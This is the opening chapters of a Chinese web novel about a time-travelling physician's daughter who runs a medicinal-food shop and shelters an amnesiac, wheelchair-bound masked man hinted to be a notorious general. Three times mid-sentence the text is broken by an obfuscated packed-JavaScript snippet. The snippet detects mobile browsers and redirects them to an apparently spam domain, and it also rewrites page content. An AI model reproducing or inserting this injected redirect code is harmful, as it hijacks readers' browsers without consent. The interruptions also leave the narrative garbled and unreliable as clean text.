《捡来的残废竟是煞神将军》 1. 傩面具 永平五年夏,皇城脚下。 黄梅雨淅淅沥沥下了半月有余,昨夜二更时分终于渐歇,待至辰时,只板瓦缝和青砖隙里还积着些雨水。 即便梅后的日头毒辣,在家窝得快发了霉的老少也是要上街的。东坊西市,南郊北筑,处处是攒动的人头和商贩的吆喝,好不热闹。 然而城南的猫儿桥巷却是热闹过了头,人群里三层外三层地围在一家小店前,本就不宽敞的小巷更是水泄不通。 “这是怎么了哟?”老妇挎着一只鼓鼓囊囊的花色布袋,匆匆路过。 身侧高个的青壮男子回头,嘻笑了一声:“有好戏看哩。” 老妇摇了摇头:“皇城根下哪有什么新鲜事儿哦......” 正欲离去,却见桥上款步走来一个妙龄女子,身着藕色纱罗褙子,内覆矩式素娟抹胸,头梳流苏髻,髻根系青色丝带垂肩,身侧一个唇红齿白的俏皮丫头为她打着伞,衬得女子更是出水芙蓉,清丽动人。 饶是面纱遮住了仙女半张脸,也不妨碍旁人因她的相貌驻足。 不知谁高呼了一声:“沈娘子来了!” 围观人群的骚动停了下来,不少人看向了这位沈娘子,为她让出一条道。 有不明所以之人低声向周围人询问,这沈娘子是何许人也? 于是不管熟识与否,但凡对沈娘子有点了解的人都七嘴八舌地说了起来,老妇被挤在人群中也就听了个大概。 原来这沈娘子也算半个风云人物,大名沈清落,她爹沈缚安生前是从九品的翰林医官,官职不大却心济苍生,但凡哪处发生点疫病灾害,沈大夫总是冲在最前头。平日里若是有人得了小疾小病,寻上沈家府门,即便空手而来,沈大夫只要得空便不会推辞。其母沈氏在未出阁前也是城南坊市里小有名气的美人,嫁与沈郎后,得一幼女,虽不常示人,却也听见过的人说是个顶顶好的相貌。 谁曾想变故陡生,一年半前沈缚安喝酒误事,腊月寒冬里竟“扑通”一声栽进了河里,隔天捞上来时已是冻得邦硬。 当年听说这事的城南百姓无不惊奇,没听说沈医官平日里爱吃酒啊? 自那之后,沈府大门便常年紧闭,时有路过的人说府里常常夜半三更传来女人的哭叫。 半年前,也是个隆冬,沈氏和沈娘子深夜里去到了沈缚安溺毙的河边,竟是要双双自尽!好在被路过的打更人瞧见了,捞上来时二人虽没了呼吸,但不知怎的沈娘子又突然咳了出来,捡回了一条命。 可怜的沈娘子才及笄没多久就双亲尽失,沈府仅存的几个下人也陆续散了,只剩下自小服侍左右的半大侍女,好像叫做春桃。 许是身陷绝境的触底反弹,身子好全了后,沈娘子便像是换了个人似的,开始频繁出入东坊西市采买各种香药食材,且在城南的猫儿桥巷里租下了一间不大的店面,取名为“杏林膳堂”,里头除了日常售卖些药膳吃食外,还会接济穷苦人家,沈娘子更是承了其父的衣钵,若是有拿不出银两的客人上门来,也总是眉眼弯弯替他把脉。 城南多丐户,常称沈娘子为“仙女菩萨”。 因沈娘子的到来,先前被拦挡在外的老妇看清了人群中间的情况。 只见一个穿着风尘的妇人坐在大门跟前,看着有些岁数,却是哭哭啼啼,泪水弄花了面上的胭脂水粉,甚是滑稽。 那妇人见沈娘子走到跟前,便飞快地提着衣摆站了起来,伸出一根涂满蔻丹的手指,指着她道:“你就是那沈娘子?” 清冽的声音自面纱下响起:“是我,大娘寻我何事?” 那妇人似是有恃无恐,嗓门又加大了几分:“那你可该问问你那好爹娘去!” 沈娘子身后的丫头一个箭步冲上来,打开女子即将戳上自家娘子鼻梁的手,厉声喝到:“放肆!哪来的泼妇对着我家姑娘大吼大叫!” 妇人吓了一跳,脸色倏地涨红起来,她调转目标,面对围观人群道:“大家都来看看啊!光天化日朗朗乾坤,这贱奴就敢不尊老......沈家尽挑我们这些穷苦人家欺负啊!” 有人问:“还怎的欺负你了呢?” “诸位有所不知,沈家那当家的十几年前曾是我最惯常的客人,那时候我们两情相悦,沈郎他还曾答应我,答应我要为我赎身......可谁曾想,半路杀出个程咬金来!” “柳如烟仗着自家的生意门路能助沈郎一臂之力,便横刀夺爱,还害得我......害得我腹中胎儿夭折......” “我那可怜的儿啊......” 说到动情处,妇人掩面垂泪,小声啜泣了起来。 有几个年岁较大的人自语道:“沈大人不像是这样的人啊......” 妇人似没听见身后人群的窃窃私语,只完成任务般大叫:“沈娘子这‘杏林膳堂’如今是蒸蒸日上,妾身不求旁的,只求沈娘子看在沈家曾有愧于我的地方能分妾身几厘,求个活命!” 这下是个长脑袋的人都知道怎么回事儿了。人群静了一瞬,旋即炸开了锅。 “你这老泼妇,在这哭哭啼啼半天,原是打着这等主意!” “且不说沈大人和你这点房中事是真是假,我看你脸皮子厚倒是真的!” 沈清落蕴着寒气的凤眼里溢出一丝惆怅:“父亲一年前就......” 看在旁人眼里那就是天仙委屈,美人落泪,斥责老妇的声势愈见浩大。 “你这老妇忒不要脸,竟来这讹沈娘子,你当我们城南百姓都是吃牛粪长大的吗?赶紧滚!以后我见你一次打你一次!” 这些话落进沈清落的耳中,掩藏在面纱下的唇角勾起。 那泼妇左右看了看,又嚎哭出声:“天爷啊!没天理啊!” 沈清落见她还不死心,在心里狠狠骂上几句,面上却是不显,话锋一转:“不论恩怨,见大娘可怜,清落愿意帮上一把,只是虽不在主街,当初这店子租下来也花了我不少银两,置办内里和平日里的开销也花去不少。” “大娘若是想要分上一杯羹,这些怕是也得补上一些。” 沈清落垂下眼睑:“像大娘这样通事故的人,定是明白个中道理的。” 说完,她听见有人喊道:“嘿!老泼妇你还赚了呢!” “这,这......”老妇脸上青一阵白一阵,突然扭过身往后看了一眼,便挤开人群仓皇逃去。 见“戏子”走了,众人也不再留恋,作鸟兽散去。 只是几个泼皮总要耍一下宝,刷刷存在感,喊道:“沈娘子!下次再有耍赖之人,喊我牛老二一声,我定然二话不说护你周全!” 半只脚跨进门槛的沈清落顿了顿,权当做了回应。 那泼皮得意洋洋地向同伴炫耀:“沈娘子对我笑呢!” 同伴鄙夷地看了他一眼:“牛老二你脑子不好,眼睛也不好使了啊?” “找死!” 在沈清落身后进门的春桃正好看见了这幕,她偷笑了一声,掩上门后快步跟着自家姑娘进了账房,仰头道:“姑娘好生厉害,那老婆子劈里啪啦说了半天,只消姑娘一两句话便哑口无言,我看她那脸,似比猪肝还红哩!” 沈清落正要解开面纱放下,却见面前的桌案上放着一个傩面具。她心中一动,这不是傩川的面具吗?怎么会放在这里。 一旁的春桃还在叽叽喳喳说些什么,沈清落也就没多想,将面纱解下放在傩面旁边。薄纱褪去后,再没什么能挡住那惊天姿容,只是相比于方才在外头的清冷气,更添了几分俏皮与灵动。 沈清落眨了眨眼,问春桃:“你真是这么认为的?” “啊?”春桃被问住了,稚气的脸上浮现出困惑,“是呀......” 沈清落走近,手指轻点了一下春桃的额头,笑了:“呆子,上次和你说的都忘啦?” “嗷!”春桃捂住额头,瞪圆了双眼,犹豫道,“是......百姓的力量?能用众力,就......无敌无畏!” “是‘能用众力,则无敌于天下矣;能用众智,则无畏于圣人矣。’” “对对对,就是这个!” 沈清落道:“你别瞧那老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042835|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆子三言两语就被我打发走了,实际上这就是墙倒众人推的道理。平日里我们有惠于城南的乡亲,这才使得危难来时大家都肯站在我们这边。” “我不求旁的,只求在乎的人能平平安安地走完一辈子,不要做了那倾覆的大厦。” 说完,沈清落看了一眼春桃,果然又是懵里懵懂的,笑骂:“呆子,懂了没有?” 春桃却是一个熊抱上来,眨巴着星星眼:“姑娘,你说大道理的模样好迷人,忧郁的眼神好迷人,春桃的心扑扑跳。” 沈清落被她逗得乐不可支,只好又骂她一句“呆子”。 玩闹半响后,沈清落清了清嗓子,正色道:“说正经的,春桃,你去库房里清点一下,尤其粳米、小米、党参、黄芪、肉桂这些常用到的,若是不足一半了便都记下来,得空好去坊市里采买。” 春桃应声后便蹦跳着去了库房。 沈清落在案前坐下,从暗格里取出几本蝴蝶装册子,其中五本是沈缚安生前所记的从医心得和食疗验方,另一本较新的则是她半年前来到这里后陆续记下的药膳配方。 虽然这些配方她从小就熟记于心,经年累月浸泡在这些方子里让她闭着眼睛都能抓药,但她觉得还是记下来安心些。 沈清落抚过这些墨迹新鲜的竹纸,心里涌上一阵酸涩。 春桃不知,她刚才说的那些大道理冰冷晦涩,却是一年前她用无数个夜晚的眼泪和至亲之人的性命才明白过来的。 她一辈子,不,两辈子都不会忘记父亲临终时自责和懊悔的眼神。 当时她抱着病床上奄奄一息的父亲,内心无数次哭喊,求老天爷让她重新做一次选择,她肯定会好好选的。 老天爷竟然真的听到了她的声音,让她穿越到了历史上某个同名同姓之人的身上,虽然她穿越过来脑子里没有原主的记忆,对北陈的历史也不太了解,但足够了。 可老天是公平的,给了她机会,也给了她惩罚,父亲终究是回不来了。 沈清落合上册子,敛好情绪,正要起身出门,却听得刺啦一声,身后的屏风竟然开了。 她被吓了一跳,转过头去,只见屏风后面露出了一副剑眉星目、薄唇微抿的绝世好皮囊。但若是再看一眼,就会发现这男子明明宽肩窄腰身量极好,却比寻常男子要矮上一大截,竟是坐在一张木制轮椅上。 嗯,这轮椅还是我给他做的,沈清落心想。这时代虽然有木制的推车,但却没有专门给人用的轮椅,所幸她在现代的时候为了让父亲用得更顺手一些,亲自改装过轮椅,还记得一些基本构造。 沈清落轻咳了一声,面带惊讶:“傩川?” 男子似乎过了会儿才反应过来是在叫他,堪堪应声:“沈娘子。” “你怎的在屏风后面?半晌都没听见动静。” 傩川垂下眼眸,叫人看不见他眼里的情绪:“早些时候进来打扫,恰巧沈娘子和春桃姑娘进来。我见你们在说一些重要的事,不想出声打扰,就藏到了现在。” “......抱歉,将你们的谈话听了去。” 沈清落原本心里有些别扭,但看他诚恳的模样,配上养眼的容貌,哪里还会多说一句重话:“无妨无妨,你腿脚不便,以后这些打扫的活就让春桃做吧,她有的是力气。” “我知自己如今是个残废。”傩川抬眼,平静地看着她,“但手上力气尚可,做些平常活自不是问题。” “......呃,我不是这个意思......” “娘子若无此意,往后便莫要再说这话了。” 沈清落哑口无言,她明明挺会怼人的啊,平时教训起旁人来也是头头是道,怎么每次对上傩川就要被压一头。 正恼火,傩川已经手摇着轮椅到她跟前,凌厉的眉心蹙起,犹豫一下后沉声道:“水能载舟,亦能覆舟。若是太看重托举着自己的水,难免会阴沟里翻船。” 说完,拿起傩面具盖住上半张脸,头也不回地往外走去。留沈清落一人呆在原地,半晌才反应过来,他这是在反驳自己刚教训春桃的话吗?! 2. 青面獠牙的恶鬼 沈清落揉了揉眉心,不知道应该感到欣慰还是生气。 自打认识傩川也已经半月有余,很少见他一口气说这么多话,按理来说她应该感到高兴才对,毕竟平日里总吐槽他是个闷葫芦的人是自己。可这人好歹也给自己留点面子啊。 ......倒也不是没留,这不是等春桃走了他才出来的么。 幸好春桃不在,不然这小妮子指定“师父”长“师父”短地帮着傩川说话。 这事说来话长,倒也只能怪她自己。 半月前,重五那天的夜市特别热闹,不论是采买香药食材也好,还是随便看看也罢,她自然是要去逛逛的。 这一逛,就逛到了三更时分,直到临街的铺子陆陆续续收起了青布伞,瓦舍勾栏的戏子们唱完最后一曲《临江仙》,她和春桃才意犹未尽地走向挂着“赁驴”幡旗的车坊。 “两百文?!你这老毒虫怕不是脑门被驴踢了!” 春桃破口大骂,那漫天要价的商贩却是不为所动,只低头拨着手里的算盘:“今日就是这个价,我便是要三百文,也多得是人坐哩!” 两百文的“黄金驴车”,先不说她们身上确实没这么多银两,即便是有,大概也不会坐的。 没了驴车,脚夫又早被雇佣完了,二人只好扛着沉甸甸的包袱一路走回去。 离开西街后,行人便越来越少了。好不容易走上了猫儿桥,自家的膳堂近在咫尺,沈清落正要松一口气,却听见春桃惊呼:“姑、姑娘,地上好像有、有血!” 沈清落顺着春桃的目光看去,只见桥边石猫像的下面,的确有一滩深褐色的不明液体,在月光下泛着怪异的光泽感。 “姑娘,会不会是......” “过去看看。” 在好奇心和救人心切的双重作用下,沈清落选择性忽略了春桃的后半句话——会不会是近几日坊间传言中的那个青面獠牙、三头六臂,齿间常啖一鲜血的恶鬼? 传言里,这恶鬼总是出没在河边,据亲眼所见之人描述,那恶鬼曾活吞过一个小儿。 不过沈清落对此事抱着嗤之以鼻的态度,若真有鬼怪作祟,那个“亲眼目睹”之人怎么还能活着?何况也没听见哪家丢了小孩。 因此完全没在怕的,她坚定地认为是有人落难了。 两人仔细拨开石墩子旁边的草丛,顺着那血迹一路往下走,走到河边后,竟再也寻不见新的血迹。 难道那人沉到河里去了?将死之人常常会感到异常口渴,这时若是大量饮水,其实是加剧自己的死亡。 沈清落心想,失了那么多血,又在河边没了踪迹,恐怕现在人已经走上奈何桥,喝下忘川水了,要是快一些,说不定都已经进了轮回道了。 她为那可怜之人默哀了会儿,决定等天亮之后替他报个官府,也算仁至义尽。 转身正要招呼春桃原路返回,她却被眼前的场景吓得后退一步,险些跌进河里。 只见浓稠月色下,一个背影宽硕之人背对着蹲在离她五步远的草丛边,身后的玄色披风上沾染着深色斑块,一侧被撕了个硕大的口子,露出底下泛着银光的鳞甲和乌靴。 而在他面前躺着的,分明是不省人事的春桃! 沈清落这才想起,自己已经有好一会儿没听见春桃的响动了。 心跳擂鼓般响了起来,万籁俱寂的夜里,显得尤为震耳。沈清落深呼吸了几口,低头锁定了一块板砖大小的石头,俯身捡起,正欲静步上前拍在那人脑后,却不曾想一只野猫从草丛边蹿了出来,“咪呜”地叫了一声。 沈清落僵在原地,手里的石头举着也不是,放下也不是。她眼睁睁看着那人转过头来,露出了青面獠牙,犹如地狱里来索人命的恶鬼。 亲娘嘞,那坊间传言竟是真的。 春桃,你姑娘没用,把你害了,咱俩只能黄泉路上做伴了。 沈清落绝望地闭上了眼,却等了好久都没等来那恶鬼的索命。她悄悄地睁开一只眼,只见那恶鬼还是保持蹲着的姿势,脸上爆突的眼球一眨不眨地盯着自己。 她试探着往前走了一步,没反应,又走一步,还是没反应。于是胆子油然而生,她一连走了三步,直到停在了那恶鬼面前,奋力举起手中的石块猛地砸过去。只听得金属碰撞的声音响起,再睁开眼时,那恶鬼已经歪斜地躺倒在了地上。 沈清落赶紧绕过那恶鬼,试图将地上的春桃背起来。却不曾想,刚拉起她的手,春桃就跳将起来,嘴里惊呼着“有蛇,有蛇”。 待沈清落和她对了对说辞,才发现这人压根不是被那青面恶鬼弄晕的,而是被一条小臂粗的大蛇吓晕的。 “......” 那恶鬼方才蹲着做什么呢? 沈清落心里浮现了一个猜测,她转过身去,撩起破烂的披风,果然那恶鬼的手正死死掐着一条大蛇的七寸,而那蛇早就没了生息,宛如一根任人摆弄的粗麻绳。 春桃也发现了这一点,她小心翼翼地开口:“姑娘,这恶鬼好像是我的恩公......” 沈清落无奈道:“那应当不是恶鬼,是个活生生的人。” 说着,她将那人脸上的恶鬼傩面取了下来,露出了一张俊美非凡的男子的脸。她敢说,这是她两世见过最令人感到惊艳的脸,剑眉轻蹙,薄唇紧抿。如果脸色不那么铁青,唇边又没有那丝乌血的话就更完美了。 何况这些伤很可能是她造成的,所幸探了探鼻息还有些气。 身为医者,她不可能见死不救;身为嫌疑犯,她更不可能放着受害者就这样毫无遮拦地躺在月光底下。 于是她和春桃一商量,就做出了把人搬回膳堂的决定。 回到膳堂后,沈清落卸下那人身上的盔甲,为他做了个简单的外伤检查,发现他身上有不少外伤,其中额头的乌青大概是自己拍出来的,手上的咬痕大概是救春桃被蛇咬的。除了这两个新鲜的伤痕,还有多处已经结了痂的伤,而最严重的一处是右腿的断裂性骨折,整条小腿都呈现出了一种扭曲的怪异姿势。 沈清落暗暗心惊,不知道他经历了些什么,竟然伤成了这样。可即便如此,他竟然也还有力气掐死一条小臂粗的蛇。幸好那只是一条毒性很小的蝮蛇,最多只能让人肌肉麻痹一会儿。 ......他那会儿蹲着不动,大概就是因为蛇毒起效了吧。沈清落的内疚又多了一些。 沈清落和春桃尽心尽力地照料着男子,断腿用木板进行了固定,方便处理的外伤也每日换敷药草,沈清落更是每日做些药膳,将汤喂与他喝。 三日后,卧榻上的美男子终于睁开了眼。 沈清落小心问道:“郎君可还记得我是谁?” 男子斜靠在床沿上,定定地看着她,浅淡的瞳仁里透露出一丝茫然,随后他摇了摇头。 沈清落继续问:“你从哪里来,缘何伤得这么重?” 男子顿了顿,还是摇头。 “......那你还记得自己叫什么名吗?” 男子垂下了眼,凌厉的眉峰变得哀伤,纤长的睫毛颤抖了几下,犹如羽毛扫过沈清落的心尖。他醒来后第一次开口,轻声道:“不记得了。” 原本打算等男子醒来后就送走的沈清落瞬间改了主意:“小郎君若是愿意,可以在我这膳堂住下来。虽不富裕,但管一张口的温饱总是没有问题的。” 这郎君失忆和自己脱不了干系。医者仁心,没错,这是医者仁心,别的心思一点都没有。 “多谢,那便叨扰了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042836|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 得到了肯定的答复,沈清落放下心来:“不过没个称呼总归不太方便。这样吧,我寻见你时是在河边,当时你面上又带着一张傩面具。就叫你傩川可好?” “......傩川。”男子兀自咀嚼着这个称呼,不知道在想些什么。 “不喜欢吗?不喜欢就换一个。” 男子摇了摇头,看向沈清落:“无妨,就叫傩川吧。” 那几日沈清落的兴致尤为高涨,她先是给行动不便的傩川打造了一副木制轮椅,又因为傩川不喜真面示人,原先的傩面具又太过可怖,特意跑到很远的地方弄了张合适的傩面具来。 忙前忙后的日子,让她想起了许多年前捡回来的那只流浪猫。 傩川在某些方面和那只流浪猫挺像的,都喜欢暗搓搓地跟着她,都不愿意在外人面前暴露自己的真实模样。这是沈清落和傩川同处一个屋檐下十天后得出的结论。 有天她终于没忍住问道:“傩川你......是有什么事要和我说吗?为何我觉得你......总是出现在我身侧......” 她尽量隐晦地表达了疑惑,但傩川只是淡淡地看了她一眼:“娘子多虑了,同处一个屋檐下,难免碰面的次数会多一些。” “但我去坊市里采买,又或者是上门诊治病人,你也......” “是春桃姑娘嘱咐我的,她担心沈娘子出门在外遭贼人欺负,便让我多护着娘子。” 沈清落:? 傩川顺着她的目光看向了自己的腿,顿了顿,说道:“娘子若是不信,自可找春桃姑娘求证。” 后来沈清落问起春桃这件事,春桃的眼睛瞬间亮了:“姑娘,你是没见过师父施展剑法的模样,太厉害了!” 她模仿傩川坐着耍剑的模样,兴奋得满面通红:“抛开行动不便,师父比春桃见过的任何一个舞枪弄棒的人都厉害!简直是傩面战神!” 这真的能抛开不谈吗?但沈清落见她兴致勃勃的模样,不想扫兴,也就随她去了。 于是自那天之后,傩川便更加名正言顺地跟着她了。沈清落去东市,那他绝不会往西走一步,沈清落出门问诊,他也绝不会在膳堂里多呆一秒。 只是不管去到哪里,他都要带着那副傩面,说什么也不肯取下来。只有面对沈清落一人的时候,那傩面才有可能出现在别的地方。 沈清落对外宣称这是她的远房表弟,家里糟了意外来投奔自己,为人比较沉闷,不太爱见生人。 旁人都以为沈娘子和这远房表弟亲密得很,只有沈清落知道,她这“黏人表弟”要么惜字如金,要么说得对方哑口无言。 恰如此刻。 沈清落看着傩川消失在后院的背影,叹了口气。 “姑娘,外间有个神貌焦急的老妇寻你,许是有什么隐疾。” 沈清落接过春桃递来的库存清单,快速扫了眼,说:“晓得了,这就去。” 行至外间,果然如春桃所说,有个老妇在外间坐着,手上磋磨着茶杯,却是一口没喝。 见沈清落过来,老妇连忙道:“沈娘子......你是沈娘子?” 不等沈清落应声,她又自语:“没错,没错,你是沈娘子,和沈大夫眉眼间一模一样。” 沈清落早晨在外面见过这老妇,对她有点印象,尤其是她挎着的那只硕大的花布包。 正要坐下,老妇却倏的一下站了起来,环顾左右低声道:“沈娘子,此处人多眼杂,可否换个隐晦之处?” 常会有客人提出这样的要求,沈清落欣然同意:“大娘这边请。” 不曾想刚关上阁子的门,沈清落的手就被老妇一把抓住,她焦急道:“沈娘子,快走吧,这京城就要变天了!” 3. 煞神将军 沈清落愣住,万万没想到事情会是这样的发展。 她反握住老妇粗糙的双手,安抚道:“大娘别急,先与我仔细说说,不会给旁人听去的。” 老妇犹豫片刻,说道: “沈娘子,你可定要信我。小儿不才,虽只是个小黄门,入不了娘子的眼,但也常做些殿前洒扫的咋活,偶尔得幸侍天子左右,前日里他偶然听得......听得那西北的煞神竟是在归京的路上了!得此消息后,我那小儿想方设法换了出宫的机会,叫我赶紧出城,越远越好!老身不舍得独留小儿一人在京中,可他竟是以死相逼,态势着实严重啊!” “小儿反复与我说,切莫要走漏风声,他会有杀头的风险。可是沈大夫......沈家与我有恩,我既在这最要紧的关头遇上了娘子,不得不帮啊!” 老妇声声恳切,捏着沈清落的手也越来越紧:“沈娘子,快些收拾东西与我走罢!南下的渡船已经在城外等着了,娘子......快走罢!” 西北的煞神......难道是说那镇北将军许行川? 沈清落记得历史上关于镇北将军的描述并不多,只说他与如今的天子元屹曾是至交,自少时起便在西北征战数载,收复十余座城池,曾是万人空巷的少年战神。后在返京途中遭袭,虽不伤及性命,却也落得终生残疾,郁郁而终。 关于其煞神的名号,史书上说:“川纵放兵士,突其庐舍,淫略妇女,剽虏资物......野老畏之曰煞者,名能止儿啼。”① 沈清落历史学得不好,但清楚地记得这段描述。她实在无法想象一个曾经万民拥戴的战神将军,是如何变成一个能止小儿夜啼的煞神的。她将疑问说给老师,老师只简单地告诉她,功名利禄很容易改变一个人的心境,不过那不重要,这个人物不考。 她课后查过许多资料,仍旧一无所获。此时老妇的声声催促让她又想起了这件事,心里突然有什么东西重新震颤了起来。 她想亲自看看那究竟是怎样一个少年战神,又是怎样一个煞神。 然而看着眼前老妇焦急又认真的模样,沈清落又无法说出她真实的想法,斟酌说道:“大娘愿将这十万火急告知于我,清落感激不尽。只是家中尚有母亲,城内亦有我牵挂之人,实在无法就这样弃他们而去。” “大娘放心,我定会安顿好自己。” 老妇嗫嚅了会儿,最终叹气道:“娘子说的是,是老身考虑不周了。娘子吉人自有天相,定要好好保重!” 沈清落道:“一路南下免不了舟车劳顿,也请大娘保重身体。” 临行前,店前檐子下,老妇双手覆上沈清落的手心,犹豫道:“娘子既决心留在京城,可否替老身关照一下我那无知小儿?这是老身最后的一点家底,望娘子收下。” 沈清落手里多了两块沉甸甸的温热银锭,心头一酸:“大娘不必如此,清落定当尽力。” 老妇道:“我儿陈平常在殿前洒扫,身材较常人矮小,眉尾有一点痣。” 等老妇的身影消失在了猫儿桥巷的另一头,沈清落才转身回去。 她最终还是没把那两锭银子还给老妇,她这边收下,老妇也会安心不少。 不知不觉已经接近午时,沈清落穿过厅院,里面已经坐了不少食客,有熟面孔,自然也有生面孔。她不动声色地观察了一下这些食客面前摆着的碗碟,大多有一碗绿豆百合羹。 这绿豆百合羹是以绿豆为主,放入少量淡竹叶制成竹叶包,下水炖煮半个时辰左右,待绿豆开花后捞出,加入鲜百合、冰糖续煮一炷香时间,捞出后撒入薄荷叶制成,既降火安神,又散郁疏热,放在这种天气喝正合适不过。可惜现在莲子还未到时节,这羹还不是最完美的模样。 据这两月让春桃四处走访的结果来看,城里许多饮子铺或是食肆都会有一道绿豆汤,但大多是简易版本,最多用来消暑解渴。她这绿豆百合羹内虽都是常见之物,但胜在少有人将绿豆和百合、薄荷、竹叶熬煮在一起,因此受欢迎是正常的。 即便早有预料,见大家喜欢,沈清落心里还是特别高兴。 回到账房,春桃替她沏上一壶茶,问道:“姑娘怎的去了这么久?那老妇果真是有什么棘手的隐疾吗?” 沈清落摇了摇头,将袖里的两锭拇指大小的银子递给春桃:“这银子收好,你得了空去打听打听,关于镇北将军的事情。” 春桃惊呼:“这么多!那老妇其貌不扬,竟是个有钱人家!” 沈清落道:“不过是予我保管,改日还要还回去的。” “......哦。”春桃的失落肉眼可见,“不过姑娘,你打听那劳什子镇北将军作甚?” “心里有点疑惑。”沈清落挑了挑眉,向她使了个眼色,“机灵点,可别走漏了风声。” 说完,只见春桃缩了缩脖子,用气声道:“懂啦,秘、密、行、动!” 那挤眉弄眼的模样看上去欠得很,于是沈清落噼里啪啦赏了她一顿“拳脚功夫”,将她“赶”出了门去。 春桃前脚刚出去,傩川后脚就进来了。 沈清落:......要不要这么巧。 傩川进来后,摘下了覆在脸上的傩面具,从一旁的书架上取下一本书,在沈清落身边安静地看了起来。 沈清落看着他,心里一动,她想起那日在河边捡到傩川时,他身上穿的盔甲分明是军中样式。虽然她分不清品阶高低,但想来都是为天子办事,消息应当是互通的。 “傩川,你听过‘镇北将军’的名号吗?” 傩川抬起头来:“沈娘子想听什么?” 沈清落顿了顿,措词道:“我记得你有一身盔甲,想来和军队有些联系。方才经过厅堂时,听见有人谈起了那位传奇将军,有些许好奇,便来打听打听。” 傩川道:“娘子贵人多忘事,忘了傩川撞头后失了记忆吗?” “娘子若是想听过去的事,傩川恐无能为力。” 说完,他翻了一页书,又埋头进了书里。 沈清落又在他这里碰了一鼻子灰后,默默戴上面纱走了出去,顺便掩上了账房的门。 初夏时节,太阳落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042837|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得晚,直到酉时三刻才有了西颓的势头。 沈清落诊完今日的最后一个病人,唤春桃取来净手的铜盆喝注水壶,仔仔细细擦过手上每一个沟缝,接过春桃递来的帕子时,发现她豆眉紧蹙,气鼓鼓的。 沈清落道:“怎的,吃火药啦?谁又把你这个炸药桶给点着了?” 春桃道:“姑娘!方才那病人的手......怕不是花柳病!我再去打一壶水来好好洗洗。” 沈清落看她着急,存心逗她:“啊呀!那你可得快去快回,晚了可就来不及了。” 听她这么一说,春桃恨不得长了八只脚,急赤白赖拿着壶子就要往外跑。 赶在她出门前,沈清落一把拉出她,笑道:“只是简单听诊,不会染上的。何况你方才一直在我旁边,有见我碰到他的手了吗?” 春桃委屈地看着沈清落:“......没有。” “姑娘你说的,可当真?” “千真万确。女子一言,驷马难追。” 春桃扑哧一声笑了出来:“什么女子一言,是一言既出啦!春桃没上过学堂,但这句还是知道的。” 看她笑了,沈清落便知这回事已经翻篇了。她还记得膳堂刚开起来的时候,有位食客得了风疾,一步一咳的模样很是可怖,于是她主动上前替他把脉看诊。这事传到春桃耳中后,她说什么都要为她好好净身,差点给洗秃噜了皮。最后是沈清落再三强调没事,“净身”服务才告一段落。 也是那一次起,她觉得在膳堂里划个小间替人简单看诊是个不错的选择。春桃紧张过度的情况时有发生,不过往往只要得了沈清落的保证,春桃就坚信不疑。 果然小孩子就是好哄。沈清落想起自己在春桃这个年纪的时候,父亲但凡说一句“今天身体感觉不错”,她就能拉着父亲出门走上两公里路,次次把她爸累得面红耳赤。 沈清落点了一下春桃的鼻尖:“这么聪明呀,小机灵鬼。” “想要什么犒赏呢?” 春桃两眼放光,正欲开口,却被身后的傩川截住了话头:“春桃姑娘说得对,还是再多洗洗比较好。谁知方才那人是否有旁的疾病呢。” 沈清落:?你什么时候来的? 春桃这胳膊肘往外拐的小妮子立刻倒台:“师父说的对,春桃这就去打壶水来。” 春桃走后,沈清落无奈地看着他:“真的已经洗干净了,不信你来看。” 原本只是做做样子,没想到傩川真的推着轮椅来到了她身侧,抓住她伸过去的手,静默看了半晌,最后指着右手指甲缝里的一点点墨迹,说道:“这里。” 沈清落狐疑地顺着他手指的地方看去:“什么?没看见啊。” 傩川又凑近了点,将她的手举到眼前:“墨渍还没洗干净。” 沈清落凑过去看,这才发现了蚂蚁一般的墨渍。 “......” 还没把手抽回来,只听得“哐当”一声,打完水回来的春桃失手将壶子打翻在地,目瞪口呆地看着他们:“姑娘,师父,你们方才在做什么?” 4. 西街夜市 沈清落猛一抬头,差点撞上傩川的下巴,她这才意识到自己和傩川的姿势似乎有些暧昧了。 可傩川倒也没做出什么反应,平时他不是特别抗拒和别人有接触吗? 傩川放开她的手,俯身捡起掉落在脚边的壶子,轻晃了下,里面传出水打在壶壁上的声音。 “还剩下些,手拿来。” 在傩川的示意下,沈清落乖乖地将手伸了过去。清凉的井水自上而下冲洗过她的手,纤长白皙的手指上再次挂上了水痕。 傩川洗得很认真也很小心,仿佛面前不是一双手,而是个一碰就碎的琉璃盏。 都说十指连心,沈清落清晰地感受到从指尖传来的触感,有些粗糙,是常年握剑留下的茧子。她心里蓦地涌上一阵酸涩,一个终年握剑双手布满老茧的人,有一天突然得知自己成了个残废,可能要在轮椅上度过余生,那该是多么残忍。 